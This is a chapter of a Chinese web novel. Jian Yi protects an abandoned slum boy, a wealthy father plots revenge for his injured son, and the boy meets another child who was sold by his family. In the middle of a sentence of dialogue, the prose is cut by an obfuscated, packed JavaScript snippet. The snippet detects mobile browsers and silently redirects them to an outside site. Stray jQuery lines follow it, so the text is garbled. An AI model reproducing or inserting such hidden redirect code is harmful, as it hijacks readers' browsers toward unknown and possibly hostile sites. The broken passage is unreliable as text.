13. 你比我们运气好

但被老管家点醒之后,她忽然意识到了不对。


安静过头了,乖巧过头了。


信任是有的,可他没有一点这个年纪该有的闹腾和活力。


对比万古青贫民窟出身的身份,难道不奇怪吗?


他对贫民窟的布局那么熟悉,一定走了许多遍了。他那么习惯狭窄的、充满人烟味的街道与未铺上水泥的、凹凸不平的土地,来到简易家里,几乎天天被困在高楼之上,却没有表现出任何的不适应。


怪。


十分严谨地深思熟虑过后,简易露出惊恐的表情。


该不会,表现出来的适应都是装的?因为被生父抛弃带来的打击太大,给孩子整成心里阴影了吧?!


不好不好,得赶紧带孩子去看一看。


趁现在钱文东那头还没有下一步动作,赶紧出发!


/


装饰豪华奢侈的房间里,钱梓豪的手缠满了绷带,嘴里也涂满了药膏。


钱文东穿着灰色的简单衬衣,站在落地窗前抽着烟。


透明烟灰缸里,横七竖八地躺了许多支雪茄。


父子俩已经这样僵持好一会儿了。


电话拨过去时,钱文东正在酒局上,和一帮好友碰杯嬉笑,说着没什么用处的、讨开心的话。


看到儿子的来电,位高权重的父亲只觉得是他又惹了祸,没太在意,一直等到第二天睡醒才回拨过去。


那时候,钱梓豪已经在医院躺了一整晚了。


明媚下手毫不留情。嘴里上颚处和被射穿的右手汩汩流着血,及时包扎后,还输了好几袋血才缓过来。


身体缓过来了,精神却没有。


钱梓豪目光呆滞,因为嘴里有伤,连痛快地咒骂都做不到,只能通过亲眼见证一切的小弟告知钱文东发生的经过。


一夜觥筹交错,钱文东喝得多,酒还没醒,头痛欲裂地听完了全程。


之后,他就一直站在落地窗前抽烟,抽了一根又一根。


钱梓豪不心急。他知道,钱文东绝对不会让简易好过,他需要的只是静静等待。


茶几上,放着一沓钱梓豪从简易家里搜刮出来的文件。


这事儿其实是钱文东的指示。


具体要怎么做,钱梓豪不知道。他脑子不太灵光,出生到现在全靠父亲一手策划。


他现在无法无天的样子,也是钱文东惯的。


无所谓。无论如何,他都不缺钱花,可以衣食无忧地度过后半生。


在抽完了不知道是第几根烟后,钱文东重重地将花纹精细繁复的龙纹打火机按在茶几上,吐出最后一口烟雾。


钱梓豪立刻满脸期待地望过去。


钱文东没说话。他无视了儿子的目光,伸手去拿桌上的一沓资料。


自钱梓豪被简易手上的证据送进看守所后,钱文东就开始注意这个刚来到蒲宁市没多久的小姑娘了。


直觉告诉他,这不是一个好惹的角色。


别看她年纪轻轻,做事莽撞冲动,看似不在乎结果,看似不了解蒲宁市混乱的现状。


这一切,都可以是伪装。


但深入调查过后,得到的结果却十分普通。


简易来自外省,普通地上学,普通地毕业找工作,普通地碰壁,普通地经过推荐来到蒲宁市,进入了一家不那么普通的公司。


她负责公司里的财务,手握不少公司偷税漏税、恶意降低员工工资、不给实习生报酬的证据。


获取这些把柄的过程……未免太轻松了。


钱文东看着资料里“悦府集团”四个字,按了按眉心。


悦府集团,他早有耳闻。


这家公司入驻蒲宁市的时间不长,只有二十多年,但却有效提升了市生产总值,给他们这些上层人带来了不少好处。


那位手握集团百分之五十股权的董事长,可不是一位好惹的人物。


拿着公司的不利证据去针对简易,就相当于跟悦府集团公开叫板。成与不成,都会损失一条很重要的利益线。


但让他忍着……


钱文东抬眼,看了看手上裹满绷带的儿子,奋力将资料扔到地上。


纸张上下纷飞,洒了一地。


……绝无可能!


/


这一天,天气十分晴朗。


万古青坐在车里,脑袋伸出车窗,去看远处湛蓝的天空,和变幻莫测的白色云朵。


他的手里,还拿着一根和云朵一样白的棉花糖。


简易的声音从驾驶座传来。


“小青,不要把头伸出车窗,很危险的。”


“好。”


万古青乖巧地应下,坐直身板,小口小口地品味着和他的头一样大的特典版棉花糖。


他们正在空旷的郊区马路上行驶。


车速很快,风很锋利,像是刀子,蹭着万古青的小脸。


但他很喜欢。


他已经很久没有呼吸过外面的新鲜空气了。


自从十七楼的家被钱梓豪叫人砸了,简易就没再让他出过门。


她本身也很忙,不可能带着一个孩子在单位上乱逛。


今天是很特殊的一天。简易似乎在忙关于他的事情,拿着一个红本子,带他上上下下跑了好几家机构。


现在已是下午,他们还在路上奔波着。


万古青不觉得累。在这点上,倒是很像孩子了。


接下来要去哪里?


孩子不需要知道这些。


他只要注意手心的棉花糖,小心地品味难得的甜蜜和美味,在下车后握紧简易的手,就可以了。


多简单啊。


原来这就是不需要苦恼温饱的生活。


汽车行驶了很久,两侧的风景从空旷荒无人烟的土壤,渐渐出现了稀稀落落的朴素小平房。


再行驶几公里,两侧的商店变得密集,视野里出现了几栋突兀的高层建筑,像是伫立在矮小鸡群里的一只野鹤。


简易转动方向盘,打了个弯,停在了一间平房旁。


随后,她把万古青抱下了汽车。


那点高度,万古青完全可以凭自己跳下来。但他很喜欢被简易抱着。


一开始还有点害羞,习惯以后,反而时不时撒娇讨要抱抱。


这是只很容易养熟的小猫。


落地后,万古青把握了一路的棍子扔进垃圾桶,接过简易递过来的酸奶。


这些天,每次简易出门,都会递给万古青一盒酸奶。


“对肠胃好。”


——简易是这么说的。


“先别喝


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199963|165435||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


哦。”


今天的话发生了变化。


“检查完身体以后再喝。”


万古青眨巴眨巴眼,暗自复述。


检查……身体?


可他不是刚去过医院吗?


平房里,放着许多白花花的机器,还有几张铺着洁白床单的病床。


形形色色的人们聚在这里,穿着同样洁白的服装。


无论老少,齐聚一堂。


万古青一眼看到了在排队的人。


过往的经验,让他很快得出了一个结论——


他们是同类。


同样出身贫困,同样不被家人重视,同样遭到了抛弃。


万古青不自觉地握紧了简易的手,不断安慰着自己。


他有姐姐了,不再是从前那个没有容身之所的流浪儿了。


对。他和他们不一样了。


万古青拽了拽简易的胳膊,仰头问道:“要去那里排队吗?姐姐?”


“对。小青真聪明。”简易揉了揉小家伙的脑袋,轻轻往队伍末尾推了一把,说道,“别担心,这里的人姐姐都认识,都是好人。乖乖地在这里排队,姐姐有点事儿,去隔壁屋找一位叔叔。”


“好。”


万古青用力点头,紧紧跟在队伍的尾巴后面。


他扭头,目送简易被一位穿着白大褂的叔叔带走。


随后,他把手心渗出的冷汗抹在衣服上,心脏噗通直跳。


说不清在害怕什么。


他低垂着头,不敢去看从前方传来的、来自“同类”的目光,也尽力克制自己不去听他们的窃窃私语。


但有时候,你越不想听,声音就越是会清晰地传入耳朵。


万古青听到他们在议论他。议论他说的那声“姐姐”,议论他太过精神的面貌,议论手心的酸奶,和身上的服装。


他不喜欢这里。


万古青轻轻吸了吸鼻子,内心祈祷着队伍走得快些。


他的确和他们很不一样。他拥有他们所没有的满足与快乐。


忽然,一只手拍了拍他。


万古青吓了一跳,连忙后退几步,怯怯地抬头看向拍他的人。


那是一个大他几岁的男孩。


男孩长得很高,比万古青高一头。


男孩问道:“你是从哪儿来的?”


万古青只愣了一下,就反应过来他在问最根本的来处。


于是回答道:“中央区东面的贫民窟……”


“和我一样。”男孩回得果断,直来直去,“怪不得我看你眼熟,我们一定在哪儿见过。你也被家里人卖了,是不是?今年赚钱尤其困难,我爸妈为了养活哥哥,就把我卖了——可哥哥是个十足的蠢货,他根本没有脑袋上学!还不如把机会让给我。”


突然袭来的一大串话让万古青措手不及。


他只能吱吱唔唔地回应:“嗯……我家里只有我一个人,父亲说我太浪费钱了。”


“只要长着一张嘴,只要没法儿赚钱,那就是浪费钱。”


谈话间,队伍变短了一些。男孩往前跳了一步。


他说道:“不过,你比我们运气要好。我看买走你的,是位有钱人。卖我的人被警察带走了,我才能得救,没你这么好的运气,能争取到有钱的买主。”